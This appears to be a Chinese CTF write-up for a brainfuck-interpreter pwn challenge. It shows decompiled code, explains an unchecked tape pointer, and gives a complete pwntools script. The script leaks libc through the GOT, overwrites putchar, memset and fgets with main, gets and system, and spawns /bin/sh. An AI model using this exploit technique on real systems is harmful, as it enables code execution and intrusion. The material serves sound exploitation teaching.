bss段和got.plt段之间的距离为:A0A0-A030=0x70=112。
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t i; // [esp+28h] [ebp-40Ch]
char s[1024]; // [esp+2Ch] [ebp-408h]
unsigned int v6; // [esp+42Ch] [ebp-8h]
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(s, 0, 0x400u);
fgets(s, 1024, stdin);
for ( i = 0; i < strlen(s); ++i )
do_brainfuck(s[i]);
return 0;
}
do_brainfuck函数
int __cdecl do_brainfuck(char a1)
{
int result; // eax
_BYTE *v2; // ebx
result = a1 - 43;
switch ( a1 )
{
case '+':
result = p;
++*(_BYTE *)p;
break;
case ',':
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case '-':
result = p;
--*(_BYTE *)p;
break;
case '.':
result = putchar(*(char *)p);
break;
case '/':
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
case ':':
case ';':
case '=':
case '?':
case '@':
case 'A':
case 'B':
case 'C':
case 'D':
case 'E':
case 'F':
case 'G':
case 'H':
case 'I':
case 'J':
case 'K':
case 'L':
case 'M':
case 'N':
case 'O':
case 'P':
case 'Q':
case 'R':
case 'S':
case 'T':
case 'U':
case 'V':
case 'W':
case 'X':
case 'Y':
case 'Z':
return result;
case '<':
result = p-- - 1;
break;
case '>':
result = p++ + 1;
break;
case '[':
result = puts("[ and ] not supported.");
break;
}
return result;
}
可知,<使得p--,>使得p++,,表示输入一个字符到指针p指向的内存,.表示输出指针p指向的字符。而且,指针p指向的数据只占据一个字节。
由于.got.plt段中保存了各个调用的库函数的绝对地址,所以让p指向地址0x804A030,然后然后可以输出putchar函数的绝对地址。然后可以利用libc中putchar函数的相对地址,今儿计算出libc的基绝对地址地址,这样以来,memset,fgets等各个库函数的绝对地址就可以计算出来了。
got.plt:0804A030 off_804A030 dd offset putchar ; DATA XREF: _putchar↑r
然后在.got.plt段中对各个函数的地址进行赋写。这样以来,执行putchar函数时,执行的是main函数。执行memset函数时,实际执行的是gets函数,执行fgets函数时,执行的是system函数。
from pwn import *
from zio3 import p32, u32
from struct import pack
context(os='linux', arch='i386', log_level='debug')
p = process('./bf')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
def main():
p.recvuntil(']')
put_char_offset = 0x8048a0a0 - 0x8048a030 # tape到got表的相对地址
payload = '.' # 输出指针指向的位置
payload += '<' * put_char_offset # 指针put_char_offset减1
payload += '.>' * 4 # 输出指针位置加4的位置
payload += '<,' * 4 # write put_char 输入内容到putchar的位置
payload += '<' * 4 # 指向memset的位置
payload += ',>' * 4 # write memset 输入内容到memset位置后返回到Putchar
payload += '<' * (0x2c - 0x10 + 4) # 指针指向fget的位置
payload += ',>' * 4 # write fgets 向fget输入后指针位置+4
payload += '.' * (0x400 - len(payload) - 1)
p.send(payload)
p.recv()
leak = p.recv()[1:]
log.info('get:' + str(len(leak)))
log.info('leak:' + hex(u32(leak)))
putchar_pos = u32(leak) # 根据leak,即putchar_pos可以计算出libc的绝对地址
libc_base = putchar_pos - libc.symbols['putchar'] # 计算libc_base的绝对地址
system_addr = libc_base + libc.symbols['system'] # 找出system的绝对地址地址
gets_addr = libc_base + libc.symbols['gets'] # 找出gets的绝对地址地址
main_addr = 0x08048671
log.info("libc base at:" + hex(libc_base))
packed_gadget_pos = p32(main_addr) # 使用p32可以来回转换。十六进制转换为字节序,字节序转换为十六进制
# write put char
for x in (packed_gadget_pos[::-1]): # 从高地址向低地址写:从高位到低位(因为是小端方式存储的)
p.send(x.to_bytes(1, byteorder='little', signed=False))
# write memset
for x in p32(gets_addr):
p.send(x.to_bytes(1, byteorder='little', signed=False))
#write fgets
print(p32(system_addr)) # 输出是:b'P\xd2\xd5\xf7'
for x in p32(system_addr): # 单个地遍历,x都是int型的
p.send(x.to_bytes(1, byteorder='little', signed=False))
p.recvuntil(']')
payload = '/bin/sh\x00'
p.send(payload)
p.interactive()
if __name__ == '__main__':
main()